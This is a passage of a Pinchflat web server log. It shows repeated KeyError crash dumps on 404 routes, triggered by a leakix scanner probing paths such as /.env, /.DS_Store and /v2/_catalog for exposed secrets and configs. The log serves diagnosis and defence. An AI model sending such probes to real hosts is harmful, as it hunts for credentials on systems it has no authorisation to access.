s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:34.291 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:34.291 [error] #PID<0.162732.0> running PinchflatWeb.Endpoint (connection #PID<0.162731.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /___proxy_subdomain_cpanel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162732.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI4YNJRyKsIwAFoSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162732.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI4YNJRyKsIwAFoSh"} ], sc (truncated) 17:50:34.669 [info] GET /v2/_catalog 17:50:34.669 [info] Sent 404 in 188µs 17:50:34.669 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:35.169 [info] GET /.DS_Store 17:50:35.169 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1248.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:35.170 [debug] QUERY OK source="settings" db=0.1ms idle=1249.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:35.170 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:35.170 [error] #PID<0.162736.0> running PinchflatWeb.Endpoint (connection #PID<0.162735.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162736.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI7pwWlDRwVoAFoTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162736.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI7pwWlDRwVoAFoTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, st (truncated) 17:50:35.669 [info] GET /.DS_Store 17:50:35.669 [debug] QUERY OK source="settings" db=0.3ms idle=1378.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:35.670 [debug] QUERY OK source="settings" db=0.1ms idle=1331.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:35.670 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:35.670 [error] #PID<0.162738.0> running PinchflatWeb.Endpoint (connection #PID<0.162737.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162738.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI9g88RC9Pw8AFoUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162738.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI9g88RC9Pw8AFoUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 17:50:36.189 [info] GET /.env 17:50:36.190 [debug] QUERY OK source="settings" db=0.2ms idle=1020.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:36.190 [debug] QUERY OK source="settings" db=0.1ms idle=1020.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:36.190 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:36.191 [error] #PID<0.162740.0> running PinchflatWeb.Endpoint (connection #PID<0.162739.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46516}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162740.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI_dIk3-yv24AFoUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46516}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46516}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162740.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI_dIk3-yv24AFoUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 17:50:36.676 [info] GET /.env 17:50:36.677 [debug] QUERY OK source="settings" db=0.2ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:36.677 [debug] QUERY OK source="settings" db=0.1ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 